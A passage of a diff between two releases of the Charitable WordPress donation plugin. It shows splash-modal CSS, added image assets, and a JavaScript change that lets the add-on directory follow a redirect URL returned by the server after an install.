.charitable-btn-orange:focus{box-shadow:0 0 0 2px #cd6622;border-color:#fff;outline:0}#charitable-splash-modal .charitable-btn-bordered{background-color:#fff;color:#50575e;border-color:#8c8f94}#charitable-splash-modal .charitable-btn-bordered:focus,#charitable-splash-modal .charitable-btn-bordered:hover{color:#2c3338;border-color:#50575e}#charitable-splash-modal .charitable-btn-bordered:focus{background-color:#fff;box-shadow:0 0 0 1px #50575e;outline:0}#charitable-splash-modal .charitable-btn-green{background-color:#008a20;color:#fff;border-color:#008a20}#charitable-splash-modal .charitable-btn-green:focus,#charitable-splash-modal .charitable-btn-green:hover{background-color:#00a32a;color:#fff}body.charitable-splash-modal{overflow:hidden;margin-right:var(--charitable-body-scrollbar-width)}body.charitable-splash-modal #wpadminbar{width:calc(100vw - var(--charitable-body-scrollbar-width))}body.charitable-splash-modal .jconfirm{overflow:hidden;bottom:revert;min-height:100vh;backdrop-filter:blur(4px);-webkit-backdrop-filter:blur(4px)}body.charitable-splash-modal .jconfirm .jconfirm-cell{vertical-align:top;overflow-y:auto;max-height:100vh;height:100vh;display:flex;justify-content:center;align-items:center}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar{background:0 0;width:15px;height:15px}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-track{background:0 0}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px 5px rgba(0,0,0,.05);background:0 0;border-radius:15px;border:solid 4px transparent}body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-resizer,body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-button,body.charitable-splash-modal .jconfirm .jconfirm-cell::-webkit-scrollbar-corner{display:none}@-moz-document url-prefix(){body.charitable-splash-modal .jconfirm .jconfirm-cell{scrollbar-color:rgba(0,0,0,0.05) transparent;scrollbar-gutter:initial!important;scrollbar-width:thin}}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar{background:0 0;width:15px;height:15px}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-track{background:0 0}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px 5px rgba(0,0,0,.3);background:0 0;border-radius:15px;border:solid 4px transparent}body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-resizer,body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-button,body.charitable-splash-modal .jconfirm .jconfirm-cell:hover::-webkit-scrollbar-corner{display:none}@-moz-document url-prefix(){body.charitable-splash-modal .jconfirm .jconfirm-cell:hover{scrollbar-color:rgba(0,0,0,0.3) transparent;scrollbar-gutter:initial!important;scrollbar-width:thin}}body.charitable-splash-modal .jconfirm .jconfirm-cell .jc-bs3-container{padding-bottom:50px}body.charitable-splash-modal .jconfirm .jconfirm-cell .jconfirm-holder{width:100%;padding:0!important}body.charitable-splash-modal .jconfirm.jconfirm-open .jconfirm-bg{position:sticky;height:100%}body.charitable-splash-modal .jconfirm.jconfirm-open .jconfirm-scrollpane{margin-top:-100vh}body.charitable-splash-modal .jconfirm.jconfirm-modern .jconfirm-bg{background-color:#72777c;opacity:.75}body.charitable-splash-modal .jconfirm-box{max-width:1000px;width:100%!important}body.charitable-splash-modal .jconfirm-box-container{opacity:0;padding:0 50px}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box{border-radius:12px;box-shadow:0 15px 50px rgba(0,0,0,.15)}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{padding:0;transition-duration:initial!important}body.charitable-splash-modal .jconfirm.jconfirm-modern .jconfirm-box div.jconfirm-content{text-align:revert}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane{display:block;margin-bottom:0;max-height:none!important}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content{color:#444;font-size:16px;line-height:24px;margin-bottom:0;overflow:inherit}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{color:#50575e;font-size:16px;font-weight:400;line-height:22px;margin-block:0}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon{top:20px!important;right:20px!important}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:after{font-size:20px}@media screen and (max-width:1024px){#charitable-splash-modal footer,#charitable-splash-modal header{padding:50px}#charitable-splash-modal main .charitable-splash-section{padding:0 50px}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-full-width .charitable-splash-section-content{padding:50px}}@media screen and (max-width:768px){body.charitable-splash-modal .jconfirm{display:none}}#charitable-splash-modal header{padding:50px 40px;background:#2c3338;color:#fff}#charitable-splash-modal header h2{color:#fff}#charitable-splash-modal header .charitable-splash-header-content p{color:rgba(255,255,255,.7)}#charitable-splash-modal main .charitable-splash-section{margin-bottom:0;padding:40px;border-bottom:1px solid #ccc}#charitable-splash-modal main .charitable-splash-section:last-child{border-bottom:none}#charitable-splash-modal main .charitable-splash-section:first-child{background:#2c3338;padding:0 40px 40px 40px;margin-bottom:0;border-bottom:none}#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content,#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content h3{color:#fff}#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-section-content p{color:rgba(255,255,255,.7)}#charitable-splash-modal main .charitable-splash-section:first-child .charitable-splash-badge{background-color:rgba(255,255,255,.15);color:#fff}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content{text-align:left!important}#charitable-splash-modal main .charitable-splash-section.charitable-splash-section-one-third-two-thirds .charitable-splash-section-content .charitable-splash-section-buttons{justify-content:start!important}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-image{order:1}#charitable-splash-modal main .charitable-splash-section .charitable-splash-section-content{order:2}#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-content,#charitable-splash-modal main .charitable-splash-section.no-order .charitable-splash-section-image{order:revert}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap{width:100%}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap .charitable-splash-video-embed{position:relative;width:100%;padding-top:56.25%;border-radius:6px;overflow:hidden;background:#000}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap .charitable-splash-video-embed iframe{position:absolute;top:0;left:0;width:100%;height:100%;border:0}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap video{display:block;width:100%;border-radius:6px}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap video::-webkit-media-controls{opacity:0;transition:opacity .2s ease}#charitable-splash-modal main .charitable-splash-section .charitable-splash-video-wrap:hover video::-webkit-media-controls{opacity:1}#charitable-splash-modal main .charitable-splash-section-more-features{display:block;padding:30px 40px 40px;text-align:left}#charitable-splash-modal main .charitable-splash-section-more-features h3{font-size:18px;font-weight:600;color:#1d2327;margin:0 15px 15px 0!important;text-align:left}#charitable-splash-modal main .charitable-splash-section-more-features ul.charitable-splash-more-features-list{display:grid;grid-template-columns:1fr 1fr;gap:8px 30px;list-style:none;padding:0;margin:0;color:#acacac;font-size:16px;font-weight:400;line-height:22px;text-align:left}#charitable-splash-modal main .charitable-splash-section-more-features ul.charitable-splash-more-features-list li{margin:0;text-align:left;list-style:none}body.charitable-splash-modal div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{color:#acacac}\n\\ No newline at end of file\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Faddons: addon-icon-campaign-updates.png\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Faddons: addon-icon-pro.svg\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Ficons: panel_form.svg\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Fsplash: 1-8-10-import-tools.svg\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Fsplash: 1-8-13-campaign-showcase.png\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Fsplash: 1-8-13-donate-feed.png\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Fsplash: 1-8-13-featured-image.png\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Fsplash: 1-8-13-modal-button.png\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Fsplash: 1-8-13-prefill-forms.png\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fimages\u002Fsplash: 1-8-9-security.png\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fimages\u002Fsplash: 1-8-9-security.svg\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addon-directory.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addon-directory.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addon-directory.js\t2025-09-24 16:00:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addon-directory.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -450,6 +450,17 @@\n \t\t\tCharitableDirAdmin.setAddonState( plugin, state, pluginType, function( res ) {\n \n \t\t\t\tif ( res.success ) {\n+\n+\t\t\t\t\t\u002F\u002F Server may include a `redirect` URL when the just-completed\n+\t\t\t\t\t\u002F\u002F action should navigate the admin somewhere new (e.g. installing\n+\t\t\t\t\t\u002F\u002F Charitable Pro auto-deactivates Lite, so we send the user to the\n+\t\t\t\t\t\u002F\u002F Charitable dashboard rather than letting them land on the\n+\t\t\t\t\t\u002F\u002F no-longer-existing Lite Addons screen).\n+\t\t\t\t\tif ( res.data && 'object' === typeof res.data && res.data.redirect ) {\n+\t\t\t\t\t\twindow.location.href = res.data.redirect;\n+\t\t\t\t\t\treturn;\n+\t\t\t\t\t}\n+\n \t\t\t\t\tif ( 'install' === state ) {\n \t\t\t\t\t\t$btn.attr( 'data-plugin', res.data.basename );\n \t\t\t\t\t\tsuccessText = res.data.msg;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addon-directory.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addon-directory.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addon-directory.min.js\t2026-02-19 20:09:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addon-directory.min.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -1 +1 @@\n-(function($){\"use strict\";var s;var CharitableDirAdmin={settings:{iconActivate:\"\",iconDeactivate:\"\",iconInstall:\"\",iconSpinner:\"Standby...\",mediaFrame:false},init:function(){s=this.settings;$(CharitableDirAdmin.ready);$(document).on(\"CharitableDirReady\",CharitableDirAdmin.initAddons)},ready:function(){$(document).trigger(\"CharitableDirReady\");if($(\"#charitable-admin-addons-search\").val()){$(\"#charitable-admin-addons-search\").trigger(\"keyup\")}},initAddons:function(){if(!$(\"#charitable-admin-addons\").length){return}function setup_addon_sections(){function setCookie(name,value,days){var expires=\"\";if(days){var date=new Date;date.setTime(date.getTime()+days*24*60*60*1e3);expires=\"; expires=\"+date.toUTCString()}document.cookie=name+\"=\"+(value||\"\")+expires+\"; path=\u002F\"}function getCookie(name){var nameEQ=name+\"=\";var ca=document.cookie.split(\";\");for(var i=0;i\u003Cca.length;i++){var c=ca[i];while(c.charAt(0)==\" \")c=c.substring(1,c.length);if(c.indexOf(nameEQ)==0)return c.substring(nameEQ.length,c.length)}return null}var $collapsible_headers=$(\".charitable-addons-section-header:not(.charitable-addons-section-header-featured)\");var open_sections=getCookie(\"charitable_open_addon_sections\");open_sections=open_sections?JSON.parse(open_sections):[];var featured_index=open_sections.indexOf(\"featured\");if(featured_index>-1){open_sections.splice(featured_index,1);setCookie(\"charitable_open_addon_sections\",JSON.stringify(open_sections),7)}$collapsible_headers.each(function(){var section_id=$(this).data(\"section\");if(open_sections.includes(section_id)){$(this).addClass(\"open\");$(\"#charitable-addons-\"+section_id).show()}});$collapsible_headers.on(\"click\",function(){var section_id=$(this).data(\"section\");var content=$(\"#charitable-addons-\"+section_id);var open_sections=getCookie(\"charitable_open_addon_sections\");open_sections=open_sections?JSON.parse(open_sections):[];$(this).toggleClass(\"open\");content.slideToggle();if($(this).hasClass(\"open\")){if(!open_sections.includes(section_id)){open_sections.push(section_id)}}else{var index=open_sections.indexOf(section_id);if(index>-1){open_sections.splice(index,1)}}setCookie(\"charitable_open_addon_sections\",JSON.stringify(open_sections),7)})}setup_addon_sections();if($(\"#charitable-addons\").length){$(\"#charitable-admin-addons-search\").on(\"keyup search input\",function(){CharitableDirAdmin.updateAddonSearchResult(this)});$(\"#charitable-admin-addons-search\").on(\"input\",function(){var searchTerm=$(this).val();if(searchTerm){sessionStorage.setItem(\"charitable_addons_search\",searchTerm)}else{sessionStorage.removeItem(\"charitable_addons_search\")}});var savedSearch=sessionStorage.getItem(\"charitable_addons_search\");if(savedSearch){$(\"#charitable-admin-addons-search\").val(savedSearch).trigger(\"keyup\")}}$(document).on(\"click\",\"#charitable-admin-addons .charitable-addons-list-item  button\",function(event){event.preventDefault();if($(this).hasClass(\"disabledd6\")){return false}CharitableDirAdmin.addonToggle($(this))})},updateAddonSearchResult:function(searchField){var searchTerm=$(searchField).val();searchTerm=searchTerm.replace(\u002F[.,]\u002Fg,\" \");CharitableDirAdmin.performCustomSearch(searchTerm);CharitableDirAdmin.highlightSearchTerms(searchTerm)},performCustomSearch:function(searchTerm){var $allAddonItems=$(\"#charitable-addons .charitable-addons-list-item\");var searchWords=searchTerm.toLowerCase().split(\" \").filter(function(word){return word.length>0});if(searchWords.length===0){$allAddonItems.show();$(\".charitable-addons-section\").show();return}var hasVisibleItems=false;$allAddonItems.each(function(){var $item=$(this);var $title=$item.find(\".addon-link\");var $description=$item.find(\".addon-description\");var titleText=$title.text().toLowerCase();var descriptionText=$description.text().toLowerCase();var matches=false;searchWords.forEach(function(word){if(titleText.indexOf(word)!==-1||descriptionText.indexOf(word)!==-1){matches=true}});if(matches){$item.show();hasVisibleItems=true}else{$item.hide()}});$(\".charitable-addons-section\").each(function(){var $section=$(this);var $visibleItems=$section.find(\".charitable-addons-list-item:visible\");if($visibleItems.length>0){$section.show();$section.find(\".charitable-addons-section-content\").show();$section.find(\".charitable-addons-section-header\").addClass(\"open\")}else{$section.hide()}})},highlightSearchTerms:function(searchTerm){if(!searchTerm){$(\".addon-link, .addon-description\").each(function(){var $element=$(this);$element.html($element.text())});return}var searchWords=searchTerm.toLowerCase().split(\" \").filter(function(word){return word.length>0});if(searchWords.length===0){return}$(\".charitable-addons-list-item:visible .addon-link, .charitable-addons-list-item:visible .addon-description\").each(function(){var $element=$(this);var originalText=$element.text();var highlightedText=originalText;searchWords.forEach(function(word){if(word.length>0){var regex=new RegExp(\"(\"+word.replace(\u002F[.*+?^${}()|[\\]\\\\]\u002Fg,\"\\\\$&\")+\")\",\"gi\");highlightedText=highlightedText.replace(regex,\"\u003Cmark>$1\u003C\u002Fmark>\")}});if(highlightedText!==originalText){$element.html(highlightedText)}})},setAddonState:function(plugin,state,pluginType,callback){var actions={activate:\"charitable_activate_addon\",install:\"charitable_install_addon\",deactivate:\"charitable_deactivate_addon\"},action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin,type:pluginType};$.post(charitable_admin.ajax_url,data,function(res){callback(res)}).fail(function(xhr){console.log(xhr.responseText)})},addonToggle:function($btn){if($btn.prop(\"disabled\")||$btn.attr(\"data-plugin\")===\"invalid\"){return}var $addon=$btn.closest(\".addon-item\"),plugin=$btn.attr(\"data-plugin\"),pluginType=$btn.attr(\"data-type\"),state,cssClass,stateText,buttonText,errorText,successText;if($btn.hasClass(\"status-go-to-url\")){window.open($btn.attr(\"data-plugin\"),\"_blank\");return}$btn.prop(\"disabled\",true).addClass(\"loading\");$btn.html(s.iconSpinner);if($btn.hasClass(\"status-active\")){state=\"deactivate\";cssClass=\"status-installed\";if(pluginType===\"plugin\"||pluginType===\"addon\"){cssClass+=\" button button-secondary\"}stateText=charitable_admin.addon_inactive;buttonText=charitable_admin.addon_activate;errorText=charitable_admin.addon_deactivate;if(pluginType===\"addon\"){buttonText=s.iconActivate+buttonText;errorText=s.iconDeactivate+errorText}}else if($btn.hasClass(\"status-installed\")){state=\"activate\";cssClass=\"status-active\";if(pluginType===\"plugin\"||pluginType===\"addon\"){cssClass+=\" button\"}stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_deactivate;if(pluginType===\"addon\"){buttonText=s.iconDeactivate+buttonText;errorText=s.iconActivate+charitable_admin.addon_activate}else if(pluginType===\"plugin\"){buttonText=charitable_admin.addon_activated;errorText=charitable_admin.addon_activate}}else if($btn.hasClass(\"status-missing\")){state=\"install\";cssClass=\"status-active\";if(pluginType===\"plugin\"||pluginType===\"addon\"){cssClass+=\" button disabled\"}stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_activated;errorText=s.iconInstall;if(pluginType===\"addon\"){buttonText=s.iconActivate+charitable_admin.addon_deactivate;errorText+=charitable_admin.addon_install}}else{return}CharitableDirAdmin.setAddonState(plugin,state,pluginType,function(res){if(res.success){if(\"install\"===state){$btn.attr(\"data-plugin\",res.data.basename);successText=res.data.msg;if(!res.data.is_activated){stateText=charitable_admin.addon_inactive;buttonText=\"addon\"===pluginType?charitable_admin.addon_activate:s.iconActivate+charitable_admin.addon_activate;cssClass=\"addon\"===pluginType?\"status-installed button button-secondary\":\"status-installed\"}else{cssClass=\"status-active button\";stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_deactivate}}else{successText=res.data}$addon.find(\".actions\").append('\u003Cdiv class=\"msg success\">'+successText+\"\u003C\u002Fdiv>\");$addon.find(\"span.status-label\").removeClass(\"status-active status-installed status-missing\").addClass(cssClass).removeClass(\"button button-primary button-secondary disabled\").text(stateText);$btn.removeClass(\"status-active status-installed status-missing\").removeClass(\"button button-primary button-secondary disabled\").addClass(cssClass).html(buttonText)}else{if(\"object\"===typeof res.data){if(pluginType===\"addon\"){$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+charitable_admin.addon_error+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}else{$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+charitable_admin.plugin_error+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}}else{if(\"string\"===typeof res){var err_data=JSON.parse(res);if(\"string\"===typeof err_data.error){$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+err_data.error+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}else{$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>There has been an error.\u003C\u002Fp>\u003C\u002Fdiv>')}}}if(\"install\"===state&&\"addon\"===pluginType){$btn.addClass(\"status-go-to-url\").removeClass(\"status-missing\")}$btn.html(errorText)}$btn.prop(\"disabled\",false).removeClass(\"loading\");if(!$addon.find(\".actions\").find(\".msg.error\").length){setTimeout(function(){$(\".addon-item .msg\").remove()},3e3)}})},getQueryString:function(name){var match=new RegExp(\"[?&]\"+name+\"=([^&]*)\").exec(window.location.search);return match&&decodeURIComponent(match[1].replace(\u002F\\+\u002Fg,\" \"))},debug:function(msg){if(CharitableDirAdmin.isDebug()){if(typeof msg===\"object\"||msg.constructor===Array){console.log(\"Charitable Debug:\");console.log(msg)}else{console.log(\"Charitable Debug: \"+msg)}}},isDebug:function(){return window.location.hash&&\"#charitabledebug\"===window.location.hash}};CharitableDirAdmin.init();window.CharitableDirAdmin=CharitableDirAdmin})(jQuery);\n\\ No newline at end of file\n+(function($){\"use strict\";var s;var CharitableDirAdmin={settings:{iconActivate:\"\",iconDeactivate:\"\",iconInstall:\"\",iconSpinner:\"Standby...\",mediaFrame:false},init:function(){s=this.settings;$(CharitableDirAdmin.ready);$(document).on(\"CharitableDirReady\",CharitableDirAdmin.initAddons)},ready:function(){$(document).trigger(\"CharitableDirReady\");if($(\"#charitable-admin-addons-search\").val()){$(\"#charitable-admin-addons-search\").trigger(\"keyup\")}},initAddons:function(){if(!$(\"#charitable-admin-addons\").length){return}function setup_addon_sections(){function setCookie(name,value,days){var expires=\"\";if(days){var date=new Date;date.setTime(date.getTime()+days*24*60*60*1e3);expires=\"; expires=\"+date.toUTCString()}document.cookie=name+\"=\"+(value||\"\")+expires+\"; path=\u002F\"}function getCookie(name){var nameEQ=name+\"=\";var ca=document.cookie.split(\";\");for(var i=0;i\u003Cca.length;i++){var c=ca[i];while(c.charAt(0)==\" \")c=c.substring(1,c.length);if(c.indexOf(nameEQ)==0)return c.substring(nameEQ.length,c.length)}return null}var $collapsible_headers=$(\".charitable-addons-section-header:not(.charitable-addons-section-header-featured)\");var open_sections=getCookie(\"charitable_open_addon_sections\");open_sections=open_sections?JSON.parse(open_sections):[];var featured_index=open_sections.indexOf(\"featured\");if(featured_index>-1){open_sections.splice(featured_index,1);setCookie(\"charitable_open_addon_sections\",JSON.stringify(open_sections),7)}$collapsible_headers.each(function(){var section_id=$(this).data(\"section\");if(open_sections.includes(section_id)){$(this).addClass(\"open\");$(\"#charitable-addons-\"+section_id).show()}});$collapsible_headers.on(\"click\",function(){var section_id=$(this).data(\"section\");var content=$(\"#charitable-addons-\"+section_id);var open_sections=getCookie(\"charitable_open_addon_sections\");open_sections=open_sections?JSON.parse(open_sections):[];$(this).toggleClass(\"open\");content.slideToggle();if($(this).hasClass(\"open\")){if(!open_sections.includes(section_id)){open_sections.push(section_id)}}else{var index=open_sections.indexOf(section_id);if(index>-1){open_sections.splice(index,1)}}setCookie(\"charitable_open_addon_sections\",JSON.stringify(open_sections),7)})}setup_addon_sections();if($(\"#charitable-addons\").length){$(\"#charitable-admin-addons-search\").on(\"keyup search input\",function(){CharitableDirAdmin.updateAddonSearchResult(this)});$(\"#charitable-admin-addons-search\").on(\"input\",function(){var searchTerm=$(this).val();if(searchTerm){sessionStorage.setItem(\"charitable_addons_search\",searchTerm)}else{sessionStorage.removeItem(\"charitable_addons_search\")}});var savedSearch=sessionStorage.getItem(\"charitable_addons_search\");if(savedSearch){$(\"#charitable-admin-addons-search\").val(savedSearch).trigger(\"keyup\")}}$(document).on(\"click\",\"#charitable-admin-addons .charitable-addons-list-item  button\",function(event){event.preventDefault();if($(this).hasClass(\"disabledd6\")){return false}CharitableDirAdmin.addonToggle($(this))})},updateAddonSearchResult:function(searchField){var searchTerm=$(searchField).val();searchTerm=searchTerm.replace(\u002F[.,]\u002Fg,\" \");CharitableDirAdmin.performCustomSearch(searchTerm);CharitableDirAdmin.highlightSearchTerms(searchTerm)},performCustomSearch:function(searchTerm){var $allAddonItems=$(\"#charitable-addons .charitable-addons-list-item\");var searchWords=searchTerm.toLowerCase().split(\" \").filter(function(word){return word.length>0});if(searchWords.length===0){$allAddonItems.show();$(\".charitable-addons-section\").show();return}var hasVisibleItems=false;$allAddonItems.each(function(){var $item=$(this);var $title=$item.find(\".addon-link\");var $description=$item.find(\".addon-description\");var titleText=$title.text().toLowerCase();var descriptionText=$description.text().toLowerCase();var matches=false;searchWords.forEach(function(word){if(titleText.indexOf(word)!==-1||descriptionText.indexOf(word)!==-1){matches=true}});if(matches){$item.show();hasVisibleItems=true}else{$item.hide()}});$(\".charitable-addons-section\").each(function(){var $section=$(this);var $visibleItems=$section.find(\".charitable-addons-list-item:visible\");if($visibleItems.length>0){$section.show();$section.find(\".charitable-addons-section-content\").show();$section.find(\".charitable-addons-section-header\").addClass(\"open\")}else{$section.hide()}})},highlightSearchTerms:function(searchTerm){if(!searchTerm){$(\".addon-link, .addon-description\").each(function(){var $element=$(this);$element.html($element.text())});return}var searchWords=searchTerm.toLowerCase().split(\" \").filter(function(word){return word.length>0});if(searchWords.length===0){return}$(\".charitable-addons-list-item:visible .addon-link, .charitable-addons-list-item:visible .addon-description\").each(function(){var $element=$(this);var originalText=$element.text();var highlightedText=originalText;searchWords.forEach(function(word){if(word.length>0){var regex=new RegExp(\"(\"+word.replace(\u002F[.*+?^${}()|[\\]\\\\]\u002Fg,\"\\\\$&\")+\")\",\"gi\");highlightedText=highlightedText.replace(regex,\"\u003Cmark>$1\u003C\u002Fmark>\")}});if(highlightedText!==originalText){$element.html(highlightedText)}})},setAddonState:function(plugin,state,pluginType,callback){var actions={activate:\"charitable_activate_addon\",install:\"charitable_install_addon\",deactivate:\"charitable_deactivate_addon\"},action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin,type:pluginType};$.post(charitable_admin.ajax_url,data,function(res){callback(res)}).fail(function(xhr){console.log(xhr.responseText)})},addonToggle:function($btn){if($btn.prop(\"disabled\")||$btn.attr(\"data-plugin\")===\"invalid\"){return}var $addon=$btn.closest(\".addon-item\"),plugin=$btn.attr(\"data-plugin\"),pluginType=$btn.attr(\"data-type\"),state,cssClass,stateText,buttonText,errorText,successText;if($btn.hasClass(\"status-go-to-url\")){window.open($btn.attr(\"data-plugin\"),\"_blank\");return}$btn.prop(\"disabled\",true).addClass(\"loading\");$btn.html(s.iconSpinner);if($btn.hasClass(\"status-active\")){state=\"deactivate\";cssClass=\"status-installed\";if(pluginType===\"plugin\"||pluginType===\"addon\"){cssClass+=\" button button-secondary\"}stateText=charitable_admin.addon_inactive;buttonText=charitable_admin.addon_activate;errorText=charitable_admin.addon_deactivate;if(pluginType===\"addon\"){buttonText=s.iconActivate+buttonText;errorText=s.iconDeactivate+errorText}}else if($btn.hasClass(\"status-installed\")){state=\"activate\";cssClass=\"status-active\";if(pluginType===\"plugin\"||pluginType===\"addon\"){cssClass+=\" button\"}stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_deactivate;if(pluginType===\"addon\"){buttonText=s.iconDeactivate+buttonText;errorText=s.iconActivate+charitable_admin.addon_activate}else if(pluginType===\"plugin\"){buttonText=charitable_admin.addon_activated;errorText=charitable_admin.addon_activate}}else if($btn.hasClass(\"status-missing\")){state=\"install\";cssClass=\"status-active\";if(pluginType===\"plugin\"||pluginType===\"addon\"){cssClass+=\" button disabled\"}stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_activated;errorText=s.iconInstall;if(pluginType===\"addon\"){buttonText=s.iconActivate+charitable_admin.addon_deactivate;errorText+=charitable_admin.addon_install}}else{return}CharitableDirAdmin.setAddonState(plugin,state,pluginType,function(res){if(res.success){if(res.data&&\"object\"===typeof res.data&&res.data.redirect){window.location.href=res.data.redirect;return}if(\"install\"===state){$btn.attr(\"data-plugin\",res.data.basename);successText=res.data.msg;if(!res.data.is_activated){stateText=charitable_admin.addon_inactive;buttonText=\"addon\"===pluginType?charitable_admin.addon_activate:s.iconActivate+charitable_admin.addon_activate;cssClass=\"addon\"===pluginType?\"status-installed button button-secondary\":\"status-installed\"}else{cssClass=\"status-active button\";stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_deactivate}}else{successText=res.data}$addon.find(\".actions\").append('\u003Cdiv class=\"msg success\">'+successText+\"\u003C\u002Fdiv>\");$addon.find(\"span.status-label\").removeClass(\"status-active status-installed status-missing\").addClass(cssClass).removeClass(\"button button-primary button-secondary disabled\").text(stateText);$btn.removeClass(\"status-active 